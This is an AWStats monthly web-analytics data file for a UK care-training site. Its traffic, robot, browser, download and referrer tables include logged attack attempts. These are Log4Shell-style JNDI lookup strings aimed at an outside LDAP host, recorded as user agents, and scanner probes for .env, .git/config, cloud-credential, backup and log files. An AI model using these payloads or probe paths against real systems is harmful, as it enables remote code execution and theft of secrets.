AWSTATS DATA FILE 8.0 (build 20240604)
# If you remove this file, all statistics for date 202512 will be lost/reset.
# Last config file used to build this data file was /home/tificathecarecer/tmp/awstats/ssl/awstats.thecarecertificate.co.uk.conf.

# Position (offset in bytes) in this file for beginning of each section for
# direct I/O access. If you made changes somewhere in this file, you should
# also remove completely the MAP section (AWStats will rewrite it at next
# update).
BEGIN_MAP 28
POS_GENERAL 2104                
POS_TIME 2787                
POS_VISITOR 35561               
POS_DAY 108793              
POS_DOMAIN 3843                
POS_LOGIN 5150                
POS_ROBOT 5305                
POS_WORMS 6809                
POS_EMAILSENDER 6940                
POS_EMAILRECEIVER 7083                
POS_SESSION 109767              
POS_FILESIZE 129309              
POS_REQUESTTIME 129465              
POS_SIDER 109984              
POS_FILETYPES 7218                
POS_DOWNLOADS 7924                
POS_OS 10029               
POS_BROWSER 10666               
POS_SCREENSIZE 17903               
POS_UNKNOWNREFERER 17977               
POS_UNKNOWNREFERERBROWSER 19704               
POS_ORIGIN 20587               
POS_SEREFERRALS 20738               
POS_PAGEREFS 21120               
POS_SEARCHWORDS 23431               
POS_KEYWORDS 23788               
POS_MISC 2450                
POS_ERRORS 24042               
POS_CLUSTER 5006                
POS_SIDER_404 24280               
END_MAP

# LastLine    = Date of last record processed - Last record line number in last log - Last record offset in last log - Last record signature value
# FirstTime   = Date of first visit for history file
# LastTime    = Date of last visit for history file
# LastUpdate  = Date of last update - Nb of parsed records - Nb of parsed old records - Nb of parsed new records - Nb of parsed corrupted - Nb of parsed dropped
# TotalVisits = Number of visits
# TotalUnique = Number of unique visitors
# MonthHostsKnown   = Number of hosts known
# MonthHostsUnKnown = Number of hosts unknown
BEGIN_GENERAL 8
LastLine 20260101000500 421 91141 11826138525770
FirstTime 20251201000025
LastTime 20251231235654
LastUpdate 20260101123630 421 0 420 0 0
TotalVisits 3273                
TotalUnique 1695                
MonthHostsKnown 0                   
MonthHostsUnknown 1924                
END_GENERAL

# Misc ID - Pages - Hits - Bandwidth
BEGIN_MISC 10
AddToFavourites 0 37 0
PDFSupport 0 0 0
TotalMisc 0 0 0
WindowsMediaPlayerSupport 0 0 0
FlashSupport 0 0 0
JavascriptDisabled 0 0 0
QuickTimeSupport 0 0 0
RealPlayerSupport 0 0 0
JavaEnabled 0 0 0
DirectorSupport 0 0 0
END_MISC

# Hour - Pages - Hits - Bandwidth - Not viewed Pages - Not viewed Hits - Not viewed Bandwidth
BEGIN_TIME 24
0 232 264 8150859 754 947 65474842
1 320 393 17617890 552 745 60785325
2 406 432 15109726 1417 1601 124064949
3 709 713 5107049 656 1176 60175968
4 4250 4310 12672299 2265 2920 170389400
5 2841 2889 13088450 913 1155 63255261
6 2988 3032 22811531 2493 3056 182511025
7 340 362 8254141 927 1170 75208141
8 583 625 9590355 1391 1954 124892801
9 239 311 11538866 5723 6061 114242150
10 2008 2056 14558778 6733 7198 120914088
11 1137 1248 20202029 6032 6398 52843789
12 2267 2408 22487729 1047 1191 60000707
13 1168 1319 22857296 570 628 53272928
14 703 790 19584893 724 898 65478634
15 726 802 18594887 914 1147 84585187
16 2419 2492 15267628 1446 1563 163623494
17 1470 1532 14839271 1505 1676 169180031
18 685 721 11454769 572 735 59689519
19 322 339 11356578 605 752 63866094
20 381 413 10431582 531 681 65515649
21 1098 1143 11125905 567 697 58384035
22 2707 2760 11608436 536 673 56460421
23 2904 2934 9797244 557 760 60878115
END_TIME

# Domain - Pages - Hits - Bandwidth
# The 25 first Pages must be first (order not required for others)
BEGIN_DOMAIN 71
us 23341 23828 136314437
ru 4388 4486 12025676
gb 1394 1916 59555875
in 975 1066 16355574
jp 355 355 36761029
de 283 330 8136840
vn 181 181 1466073
cn 169 171 21446100
br 144 144 956777
id 137 137 360968
ca 129 151 4342858
be 92 103 1610873
np 86 86 54974
ro 84 94 1843556
cz 71 71 356268
se 70 73 7456788
it 63 63 308928
ir 62 112 6152745
fr 56 62 1276543
nl 53 55 1005888
eg 51 51 179011
ly 47 47 19311
ua 46 46 3938753
au 46 46 4673296
tw 46 46 272988
eu 22 33 1327868
ar 24 32 2803406
tn 42 42 17296
my 28 28 132029
at 3 4 156243
pt 2 2 806
il 14 14 95553
cl 12 12 112261
ph 3 3 1579
pe 3 3 1203
zz 22 22 311477
sc 5 5 50637
md 18 18 86282
za 9 9 81929
lv 10 10 94426
dk 21 22 353407
hk 7 7 2817
mv 1 1 401
ma 1 1 0
et 5 5 41165
fi 4 4 40764
by 4 4 40764
sa 6 6 199664
ch 2 2 20382
tz 12 12 63552
ug 22 22 8866
es 46 46 233785
rs 3 3 30313
cm 1 1 401
ge 1 1 9950
jo 1 1 12526
pl 10 11 1372951
sg 16 16 123414
kh 2 2 20382
lk 45 45 28050
tr 36 36 337185
bg 17 17 300529
gr 3 3 1297
hu 2 2 806
no 14 14 103464
bd 3 3 30313
th 6 6 41566
pk 9 9 81929
mn 8 8 1271457
ng 5 17 1160234
kr 4 4 30733
END_DOMAIN

# Cluster ID - Pages - Hits - Bandwidth
BEGIN_CLUSTER 0
END_CLUSTER

# Login - Pages - Hits - Bandwidth - Last visit
# The 10 first Pages must be first (order not required for others)
BEGIN_LOGIN 0
END_LOGIN

# Robot ID - Hits - Bandwidth - Last visit - Hits on robots.txt
# The 25 first Hits must be first (order not required for others)
BEGIN_ROBOT 34
Go\-http\-client/ 5621 69052212 20251231115732 7
bot[\s_+:,\.\;\/\\-] 4521 465625933 20251231224934 126
AhrefsBot/ 4271 652652616 20251231235630 94
Applebot/ 3152 252696845 20251226020416 16
GPTBot/ 2440 51791845 20251230232813 0
crawl 1682 233569401 20251231153524 20
SemrushBot/ 1412 215880518 20251231221315 48
Googlebot/ 1003 79585946 20251231235414 43
bingbot/ 611 47519259 20251231232842 43
AdsBot\-Google[\x20]\( 120 7423328 20251231194359 0
[\s_+:,\.\;\/\\-]bot 71 10525205 20251230232639 0
facebookexternalhit/ 62 866066 20251231105705 54
Barkrowler 59 7455151 20251230053012 4
no_user_agent 40 3820040 20251230080931 0
DuckDuckBot 34 2725780 20251229154850 0
robot 33 5158 20251231104258 33
unknown 26 4692 20251230223447 26
checker 24 2635980 20251230203406 0
Mediapartners-Google 22 4176942 20251231071847 0
Googlebot\-Image/ 14 150859 20251231131431 0
Adsbot 11 1749144 20251231194343 0
MJ12bot/ 11 1110365 20251228104845 4
360Spider 7 1109493 20251228104046 0
curl 6 468502 20251208013419 0
(firefox/)([0-9]\.|[0-1][0]\.) 6 927943 20251224003259 0
php 2 159370 20251227193728 0
Konqueror/ 1 12495 20251204114019 0
survey 5 189449 20251211035321 0
nutch 4 317446 20251226044901 2
BW/ 3 463555 20251225153207 0
Python\-urllib/ 1 37875 20251203114233 0
YandexBot/ 2 158723 20251215004826 1
Bytespider 5 284585 20251227213141 1
scrapy 6 367026 20251224153715 0
END_ROBOT

# Worm ID - Hits - Bandwidth - Last visit
# The 5 first Hits must be first (order not required for others)
BEGIN_WORMS 0
END_WORMS

# EMail - Hits - Bandwidth - Last visit
# The 20 first Hits must be first (order not required for others)
BEGIN_EMAILSENDER 0
END_EMAILSENDER

# EMail - Hits - Bandwidth - Last visit
# The 20 first hits must be first (order not required for others)
BEGIN_EMAILRECEIVER 0
END_EMAILRECEIVER

# Files type - Hits - Bandwidth - Bandwidth without compression - Bandwidth after compression
BEGIN_FILETYPES 35
php 30765 51088288 0 0
npmrc 3 37495 0 0
2 2 24990 0 0
svg 1 2399 0 0
txt 4 49992 0 0
backup 2 24992 0 0
save 7 87496 0 0
s3cfg 2 24984 0 0
local 6 74990 0 0
bak 5 62482 0 0
db 2 24989 0 0
html 1439 164258550 0 0
prod 3 37492 0 0
Unknown 149 1069586 0 0
xml 101 3153484 0 0
old 2 24995 0 0
zip 6 74972 0 0
woff2 111 7880336 0 0
test 2 24998 0 0
sql 8 99983 0 0
json 31 387446 0 0
png 242 11717863 0 0
sample 2 24997 0 0
jpg 331 40791387 0 0
remote 2 25005 0 0
yaml 2 24993 0 0
yml 17 212471 0 0
log 24 299939 0 0
woff 93 7720684 0 0
css 279 11493088 0 0
env 131 1687914 0 0
gz 2 75738 0 0
ttf 14 859112 0 0
js 496 34635060 0 0
1 2 25001 0 0
END_FILETYPES

# Downloads - Hits - Bandwidth
BEGIN_DOWNLOADS 59
/sitemap.xml.gz 14 0 6948
/storage/logs/laravel.log 5 0 62473
/logs/application.log 5 0 62482
/mail.log 3 0 37483
/logs/payments.log 3 0 37491
/logs/stripe.log 3 0 37490
/logs/laravel.log 3 0 37493
/logs/payment.log 3 0 37489
/var/log/payment.log 3 0 37495
/payments.log 3 0 37494
/storage/logs/mail.log 3 0 37491
/logs/smtp.log 3 0 33182
/logs/debug.log 3 0 37493
/var/log/smtp.log 3 0 37485
/log/stripe.log 3 0 37486
/var/log/stripe.log 3 0 37486
/log/email.log 3 0 37481
/storage/logs/email.log 3 0 37482
/logs/mail.log 3 0 37491
/sendmail.log 3 0 37481
/storage/logs/payment.log 3 0 37485
/log/smtp.log 3 0 37493
/var/log/mail.log 3 0 37487
/storage/logs/stripe.log 3 0 37489
/logs/email.log 3 0 37495
/var/log/email.log 3 0 33179
/storage/logs/smtp.log 3 0 37484
/log/mail.log 3 0 37491
/stripe.log 3 0 37495
/email.log 3 0 37488
/payment.log 3 0 37496
/logs/app.log 3 0 37490
/logs/sendmail.log 3 0 37491
/smtp.log 3 0 37488
/debug.log 2 0 24995
/var/log/apache2/error.log 2 0 24996
/config.zip 2 0 24989
/.well-known/security.txt 2 0 24998
/backup.tar.gz 2 0 75738
/security.txt 2 0 24994
/site-backup.zip 2 0 24992
/logs/error.log 2 0 24998
/app/logs/dev.log 2 0 24991
/errors.log 2 0 25001
/backup.zip 2 0 24991
/var/log/nginx/error.log 2 0 24996
/log/error.log 2 0 24997
/app/logs/prod.log 2 0 24994
/error.log 2 0 24994
/php_error.log 2 0 24993
/sitemap-misc.xml.gz 1 0 521
/wp-content/themes/Divi/includes/builder/frontend-builder/build/frontend-builder-scripts.js.LICENSE.txt 1 0 38
/page-sitemap2.xml.gz 1 0 3826
/wp-content/themes/Divi/includes/builder/frontend-builder/build/bundle.js.LICENSE.txt 1 0 6550
/wp-content/themes/Divi/includes/builder/frontend-builder/build/gutenberg.js.LICENSE.txt 1 0 701
/wp-content/themes/Divi/includes/builder/frontend-builder/build/theme-builder.js.LICENSE.txt 1 0 948
/wp-content/themes/Divi/includes/builder/frontend-builder/build/preboot.js.LICENSE.txt 1 0 210
/page-sitemap.xml.gz 1 0 10078
/wp-content/themes/Divi/includes/builder/frontend-builder/build/bundle.modals.817732e4.js.LICENSE.txt 1 0 149
END_DOWNLOADS

# OS ID - Hits
BEGIN_OS ID - Hits - Pages 37
Unknown 1441 1326
bsdfreebsd 1 1
ios_iphone 681 511
macosx 300 295
winxp 26 26
androidkitkat 1 1
macintosh 1 1
winlong 20 20
android 26 21
j2me 1 1
winnt 24 24
android13 49 49
win7 686 681
linux 523 396
macosx13 161 159
macosx15 726 605
androidpie 7 3
macosx14 16 14
ios_ipad 27 27
android12 49 49
unix 33 32
linuxubuntu 315 312
macosx9 12 12
win8 375 374
win95 1 1
macosx10 51 50
androidmarshmallow 4 0
androidnougat 146 143
android11 27 26
androidoreo 3 1
win8.1 495 495
win11 150 150
macosx11 81 81
macosx12 101 101
linuxdebian 4 0
win10 27307 26696
android10 417 219
END_OS

# Browser ID - Hits - Pages
BEGIN_BROWSER 360
netscape 14 11
firefox75.0.0.0 5 5
chrome94.0.0.0 3 3
chrome86.0.0.0 6 6
firefox50.0 1 1
opera64.0.0.0 10 10
firefox100.0.0.0 8 8
chrome65.0.3325.181 67 67
edge97 10 10
firefox79.0.0.0 7 7
chrome101.0.4951.41 3 3
safari8.0 1 1
firefox86.0.0.0 7 7
opera70.0.0.0 11 11
chrome80.0.3987.162 1 1
edge88 10 10
chrome81.0.4044.92 13 1
chrome66.0.3359.170 27 27
chrome66.0.3359.181 69 69
chrome99.0.0.0 5 5
firefox109.0 3 0
chrome142.0.7444.175 4 0
chrome81.0.4044.129 46 46
chrome65.0.3325.109 6 6
edge86 13 13
chrome73.0.3683.103 2 2
chrome51.0.2704.103 1 1
chrome123.0.0.0 64 53
opera8.72. 1 0
safari11.0.3 5 5
chrome111.0.0.0 5 5
chrome76.0.3809.100 1 0
chrome66.0.3359.117 68 68
safari17.3.1 8 8
firefox134.0 3 1
edge12 1 1
chrome91.0.4472.114 3 3
firefox62.0 7 7
chrome92.0.4515.107 3 3
chrome106.0.0.0 7 7
chrome44.0.2403.157 1 1
chrome78.0.3904.70 1 0
chrome114.0.5735.199 8 8
chrome79.0.3945.88 2 2
firefox74.0.0.0 6 6
chrome80.0.0.0 7 7
firefox84.0.0.0 11 11
chrome109.0.0.0 17 6
chrome117.0.0.0 42 42
chrome112.0.0.0 5 5
chrome32.0.1664.3 1 1
edge82 10 10
chrome105.0.0.0 11 8
chrome124.0.6367.155 1 0
firefox20.0 2 2
firefox61.0 36 36
chrome67.0.3396.79 51 51
firefox115.1.0 1 0
opera66.0.0.0 9 9
opera71.0.0.0 5 5
safari1.0.3 1 0
safari15.1 1 1
Unknown 1220 1170
chrome84.0.4147.105 4 4
chrome96.0.4664.110 2 2
chrome120.0.6099.130 6 6
chrome10.0.648.204 1 1
safari11.1.1 20 20
edge16 24 24
chrome32.0.1667.0 1 1
opera89.0.4447.51 4 4
chrome113.0.5672.93 11 11
opera52.0.2871.99 10 10
safari26.1 26 7
safari10.0.1 7 7
opera77.0.0.0 5 5
chrome116.0.5845.96 19 19
firefox93.0.0.0 5 5
firefox76.0.0.0 5 5
chrome75.0.3770.100 2 1
chrome125.0.6422.60 35 6
chrome104.0.0.0 2 2
firefox89.0.0.0 9 9
opera12.16 1 1
chrome115.0.5790.171 5 5
firefox15.0 1 1
opera63.0.0.0 13 13
safari17.0.96 6 6
firefox85.0.0.0 7 7
chrome140.0.0.0 43 32
opera79.0.0.0 11 11
chrome76.0.3809.89 3 1
chrome59.0.3071.125 2 0
firefox77.0.0.0 5 5
firefox72.0.0.0 5 5
firefox90.0.0.0 6 6
chrome69.0.3497.100 1 1
opera60.0.3255.170 1 1
chrome143.0.0.0 336 81
chrome138.0.0.0 35 20
opera51.0.2830.34 5 5
chrome92.0.0.0 6 6
safari10.0.3 7 7
chrome65.0.3325.146 31 31
safari 297 221
chrome71.0.3578.99 1 1
safari12.0 9 9
chrome66.0.3359.139 61 61
firefox81.0.0.0 5 5
chrome88.0.0.0 4 4
safari26.2 18 6
opera80.0.0.0 9 9
chrome93.0.0.0 3 3
edge87 12 12
edge98 12 12
chrome79.0.3945.130 18 18
safari15.2 2 2
chrome101.0.0.0 6 6
safari17.5 3 3
edge96 8 8
chrome67.0.3396.62 57 57
chrome116.0.0.0 123 123
opera60.0.0.0 3 3
chrome119.0.6045.159 18 18
chrome122.0.6261.57 24 24
chrome70.0.3538.25 1 0
chrome72.0.3626.81 1 0
android 26 26
chrome128.0.0.0 1 1
opera74.0.0.0 13 13
safari17.2.1 1 1
opera73.0.0.0 7 7
safari15.0 1 1
chrome115.0.0.0 15 15
chrome112.0.5615.136 1 1
chrome121.0.6167.85 12 12
chrome95.0.0.0 2 2
opera69.0.0.0 13 13
opera67.0.0.0 5 5
chrome107.0.0.0 5 5
firefox115 4 4
chrome102.0.0.0 9 7
chrome81.0.0.0 10 10
chrome119.0.0.0 138 137
firefox118.0.2 20 20
firefox98.0.0.0 6 6
safari18.5 1 0
safari17.0.1 16 16
firefox102.0 12 4
msie7.0 362 362
chrome77.0.3865.42 1 1
chrome130.0.0.0 222 209
opera50.0.2762.67 14 14
edge17 17 17
chrome116.0 4 4
chrome74.0.3729.108 1 0
itunes 1 1
firefox139.0 5 4
chrome87.0.0.0 9 9
chrome101.0.4951.64 41 41
edge92 9 9
firefox71.0.0.0 6 6
chrome141.0.7390.122 16 2
mozilla 271 219
chrome120.0.0.0 177 171
chrome72.0.3626.121 1 0
safari10.1.1 12 12
firefox125.0.1 10 10
opera76.0.0.0 9 9
opera61.0.0.0 7 7
chrome126.0.6478.185 1 0
chrome142.0.7444.162 47 4
safari26.0 1 0
chrome113.0.5672.53 2 2
opera52.0.2871.64 16 16
chrome114.0.0.0 4 4
safari11.0.1 23 23
firefox87.0.0.0 2 2
firefox82.0.0.0 7 7
firefox126.0 17 17
safari18.7.2 18 5
chrome115.0.5790.102 10 10
edge83 8 8
firefox88.0.0.0 6 6
safari11.0.2 17 17
chrome60.0.3112.107 142 142
opera58.0.3135.132 1 0
safari11.1 9 9
firefox120.0 52 51
opera51.0.2830.55 21 21
netscape2.02 1 1
chrome76.0.3798.0 1 1
chrome131.0.0.0 1623 1354
safari10.1.2 15 15
firefox91.0 63 63
safari10.0 21 17
chrome90.0.0.0 4 4
chrome87.0.4280.88 1 0
chrome113.0.0.0 3 1
safari17.1 57 57
chrome66.0.3359.203 6 6
opera78.0.0.0 4 4
chrome121.0.0.0 105 105
firefox117.0 10 10
chrome112.0.5615.138 12 12
msie8.0 17 17
firefox92.0.0.0 9 9
firefox97.0.0.0 4 4
chrome79.0.3945.79 10 0
chrome118.0.5993.88 8 8
safari13.0.3 365 365
firefox70.0.0.0 4 4
chrome108.0.0.0 4 4
chrome138.0.7204.23 2 0
firefox119.0.1 18 18
firefox141.0 4 4
chrome78.0.3880.4 1 0
chrome66.0.3359.158 12 12
edge15 25 25
chrome76.0.3809.111 5 2
msie10.0 32 32
chrome141.0.7390.77 113 113
msie11.0 558 557
opera62.0.0.0 13 13
chrome127.0.6533.119 1 0
firefox127.0 11 11
chrome127.0.0.0 1 1
edge85 7 7
chrome122.0.0.0 19 4
iphone 2 0
edge89 8 8
firefox35.0 1 1
firefox115.0.2 1 0
firefox91.0.0.0 8 8
safari16.6 67 67
chrome58.0.3029.110 5 5
chrome89.0.0.0 2 2
chrome113.0.5672.126 2 2
chrome88.0.4240.193 7462 7462
firefox80.0.0.0 11 11
chrome65.0.3325.184 6 6
opera65.0.0.0 9 9
firefox143.0 2 2
safari15.6.5 10 10
chrome84.0.0.0 3 3
chrome96.0.0.0 9 9
chrome117.0.5938.132 24 3
chrome66.0.3359.137 2 2
safari18.1 1 1
opera51.0.2830.40 10 10
chrome100.0.0.0 5 5
firefox47.0 1 1
chrome78.0.3904.108 16044 16044
chrome101.0.4951.67 1 1
firefox124.0 12 12
chrome137.0.0.0 3 1
edge94 5 5
firefox29.0 1 1
chrome132.0.0.0 9 1
edge81 8 8
firefox122.0 22 22
firefox78.0.0.0 5 5
chrome75.0.3770.80 1 0
edge80 8 8
msie9.0 49 49
safari10.1 15 15
chrome136.0.0.0 17 4
firefox128.0 3 3
safari10.0.2 7 7
chrome143.0.7499.40 4 4
firefox125.0.3 1 0
safari14.0.3 2 0
firefox121.0 74 74
chrome41.0.2228.0 1 1
chrome68.0.3440.106 14 3
chrome91.0.0.0 3 3
opera50.0.2762.58 6 6
chrome76.0.3809.84 1 1
chrome103.0.0.0 4 4
firefox94.0.0.0 4 4
safari11.0 6 6
chrome74.0.3729.131 1 0
chrome75.0.3770.90 2 2
chrome85.0.0.0 4 4
safari26.0.1 1 0
safari11.1.2 9 9
safari8.0.8 1 0
firefox60.0 59 59
opera68.0.0.0 7 7
firefox46.0 1 0
chrome65.0.3298.3 3 3
chrome80.0.3987.132 1 0
chrome76.0.3809.132 2 2
chrome91.0.4472.124 49 49
firefox99.0.0.0 7 7
chrome52.0.1116 1 1
safari5.0.2 1 1
firefox83.0.0.0 2 2
safari18.2 18 6
safari17.6 19 6
chrome35.0.1916.141 1 1
edge93 10 10
firefox95.0.0.0 9 9
firefox140.0 1 1
chrome142.0.7444.174 2 0
safari17.1.2 4 4
chrome67.0.3396.87 53 51
chrome141.0.0.0 7 7
chrome72.0.3626.109 1 0
chrome126.0.0.0 388 388
safari3.1.1 1 1
chrome97.0.0.0 2 2
firefox129.0 16 16
chrome118.0.0.0 109 108
safari17.0 48 48
chrome101.0.4951.61 2 2
firefox146.0 1 0
safari16.1 3 3
chrome125.0.0.0 29 10
opera52.0.2871.40 9 9
safari6.0 1 1
firefox142.0 14 10
edge100 10 10
chrome98.0.0.0 8 8
netscape5.0 129 129
chrome134.0.0.0 17 13
chrome82.0.0.0 5 5
chrome129.0.0.0 2 1
chrome65.0.3325.162 48 48
edge91 6 6
chrome60.0.3112.113 32 32
safari18.6 60 16
chrome142.0.0.0 263 66
edge90 14 14
chrome47.0.2526.73 1 1
safari17.2 49 48
firefox73.0.0.0 9 9
firefox96.0.0.0 5 5
firefox119.0 72 72
safari17.4 4 4
edge84 4 4
firefox118.0 64 64
edge99 8 8
chrome110.0.0.0 3 3
opera53.0.2907.99 15 15
chrome75.0.3770.142 2 1
opera75.0.0.0 5 5
opera50.0.2762.45 7 7
firefox45.0 1 1
edge95 13 13
chrome135.0.0.0 2 2
chrome125.0.6422.142 8 0
chrome86.0.1000 1 1
sonyericsson 1 1
opera72.0.0.0 6 6
chrome124.0.0.0 9 6
firefox120.0.1 10 10
chrome83.0.0.0 4 4
chrome139.0.0.0 12 6
chrome114.0.5735.134 12 12
END_BROWSER

# Screen size - Hits
BEGIN_SCREENSIZE 0
END_SCREENSIZE

# Unknown referer OS - Last visit date
BEGIN_UNKNOWNREFERER 28
node 20251225112534
Mozilla/5.0_(compatible;_InternetMeasurement/1.0;__https://internet-measurement.com/) 20251217222004
WordPress/6.8.3;_https://thecarecertificate.co.uk 20251231235415
Hello_from_Palo_Alto_Networks,_find_out_more_about_our_scans_in_https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity 20251224232029
Python/3.10_aiohttp/3.13.2 20251209194042
Mozilla/5.0_(l9scan/2.0.833313e2033323e22333e26343;__https://leakix.net) 20251230114357
WhatsApp/2.23.20.0 20251223011205
python-httpx/0.28.1 20251206233900
GuzzleHttp/7 20251210084505
Mozilla/5.0_Firefox/35.0 20251217051838
python-requests/2.31.0 20251231063449
fasthttp 20251218154300
${jndi:ldap://384639-ua.216.106.189.88/a} 20251208013417
${jndi:ldap://982254-ua.216.106.189.88/a} 20251207002216
Mozilla/5.0_(compatible;_Dataprovider.com) 20251222143111
TerraCotta_https://github.com/CeramicTeam/CeramicTerracotta 20251230194839
Mozilla/5.0_(Exploit) 20251220042906
SonyEricssonS500i/R6BC_Browser/NetFront/3.3_Profile/MIDP-2.0_Configuration/CLDC-1.1 20251207005044
Mozilla/5.0_(compatible;_LumeWebScan/2.0;__https://lumeweaver.com/) 20251231080506
python-httpx/0.27.2 20251207220640
Mozilla/5.0_AppleWebKit/537.36_(KHTML,_like_Gecko;_compatible;_GoogleOther)_Chrome/141.0.7390.122_Safari/537.36 20251214235226
Mozilla/5.0_(compatible;_Google-Site-Verification/1.0) 20251226140318
python-httpx/0.27.0 20251203051012
Python/3.14_aiohttp/3.13.2 20251222065331
Mozilla/5.0 20251227212010
Mozilla 20251206031807
${jndi:ldap://387927-ua.216.106.189.88/a} 20251206162319
Mozilla/5.0_(compatible;_CensysInspect/1.1;__https://about.censys.io/) 20251231183430
END_UNKNOWNREFERER

# Unknown referer Browser - Last visit date
BEGIN_UNKNOWNREFERERBROWSER 16
GuzzleHttp/7 20251210084505
${jndi:ldap://384639-ua.216.106.189.88/a} 20251208013417
fasthttp 20251218154300
python-requests/2.31.0 20251231063449
TerraCotta_https://github.com/CeramicTeam/CeramicTerracotta 20251230194839
node 20251225112534
${jndi:ldap://982254-ua.216.106.189.88/a} 20251207002216
WordPress/6.8.3;_https://thecarecertificate.co.uk 20251231235415
Python/3.10_aiohttp/3.13.2 20251209194042
python-httpx/0.27.2 20251207220640
Hello_from_Palo_Alto_Networks,_find_out_more_about_our_scans_in_https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity 20251224232029
python-httpx/0.27.0 20251203051012
Python/3.14_aiohttp/3.13.2 20251222065331
WhatsApp/2.23.20.0 20251223011205
${jndi:ldap://387927-ua.216.106.189.88/a} 20251206162319
python-httpx/0.28.1 20251206233900
END_UNKNOWNREFERERBROWSER

# Origin - Pages - Hits 
BEGIN_ORIGIN 6
From0 29068 29194
From1 1 1
From2 314 338
From3 54 288
From4 3466 4467
From5 0 0
END_ORIGIN

# Search engine referers ID - Pages - Hits
BEGIN_SEREFERRALS 12
uk_search_yahoo_com 1 1
yahoo_catchall 21 21
www_google_com 116 127
www_bing_com 38 38
www_google_co_uk 38 38
www_google_fr 34 34
duckduckgo 31 31
nation 0 13
in_search_yahoo_com 1 1
www_google_de 32 32
ecosia 1 1
r_search_yahoo_com 1 1
END_SEREFERRALS

# External page referers - Pages - Hits
# The 25 first Pages must be first (order not required for others)
BEGIN_PAGEREFS 39
https://webmail.thecarecertificate.co.uk 26 29
http://cpanel.thecarecertificate.co.uk 6 6
https://webmail.thecarecertificate.co.uk/cPanel_magic_revision_1648610195/unprotected/cpanel/fonts/open_sans/open_sans.min.css 3 3
https://chatgpt.com 3 3
http://webmail.thecarecertificate.co.uk 3 3
https://countrol.de/blog//wp-login.php 3 3
https://thecallista.co.uk//blog//wp-login.php 2 2
https://www.thebusinessyork.com//wp-login.php 2 2
https://wordpress.org 2 2
http://webmail.thecarecertificate.co.uk/.env 1 1
http://webmail.thecarecertificate.co.uk/.git/config 1 1
http://spyhost.site 1 1
https://t.co 1 1
https://healthandsafetyinacaresetting.co.uk 0 7
https://safeguardingchildrenscourse.co.uk/wp-content/et-cache/91/et-core-unified-deferred-91.min.css 0 1
https://dementiaawareness.uk/wp-content/et-cache/230/et-core-unified-deferred-230.min.css 0 1
https://webmail.thecarecertificate.co.uk/cPanel_magic_revision_1749035479/unprotected/cpanel/style_v2_optimized.css 0 6
https://yourpersonaldevelopment.co.uk/your-personal-development-course-in-york/ 0 1
https://nutritionandhydrationcourse.co.uk 0 9
https://mentalhealthfirstaidcourses.co.uk 0 14
https://handlinginformationinacaresetting.co.uk/wp-content/et-cache/116/et-core-unified-deferred-116.min.css 0 1
https://principlesofcommunication.co.uk 0 16
https://antibullyingandharassmentcourses.co.uk 0 4
https://personcentredcarecourse.co.uk/wp-content/et-cache/236/et-core-unified-deferred-236.min.css 0 1
https://infectioncontrolcourse.co.uk 0 8
https://mentalcapacityact.co.uk 0 21
https://mentalhealthawarenesscourses.co.uk/wp-content/et-cache/97/et-core-unified-deferred-97.min.css 0 1
https://yourpersonaldevelopment.co.uk 0 7
https://mentalhealthawarenesscourses.co.uk 0 15
https://dementiaawareness.uk 0 14
https://handlinginformationinacaresetting.co.uk 0 7
https://dignityandprivacy.co.uk 0 5
https://dutyofcarecourse.co.uk 0 16
https://safeguardingchildrenscourse.co.uk 0 21
https://personcentredcarecourse.co.uk 0 4
https://understandingyourroleincare.co.uk 0 6
https://mentalhealthawarenessuk.co.uk 0 12
https://safeguardingadultscourse.co.uk 0 30
https://emergencyatworkfirstaidcourse.co.uk 0 3
END_PAGEREFS

# Search keyphrases - Number of search
# The 10 first number of search must be first (order not required for others)
BEGIN_SEARCHWORDS 3
https+//thecarecertificate.co.uk/the-care-certificate-in-wycombe/ 1
https+//thecarecertificate.co.uk/the-care-certificate-in-burnley/ 1
https+//thecarecertificate.co.uk/the-care-certificate-in-bradford/ 1
END_SEARCHWORDS

# Search keywords - Number of search
# The 25 first number of search must be first (order not required for others)
BEGIN_KEYWORDS 4
https 3
//thecarecertificate.co.uk/the-care-certificate-in-bradford/ 1
//thecarecertificate.co.uk/the-care-certificate-in-burnley/ 1
//thecarecertificate.co.uk/the-care-certificate-in-wycombe/ 1
END_KEYWORDS

# Errors - Hits - Bandwidth
BEGIN_ERRORS 13
400 600 30787
409 48 127920
308 15 1442
421 13 4466
302 711 0
500 840 0
405 15 630
503 9 0
404 1360 58525440
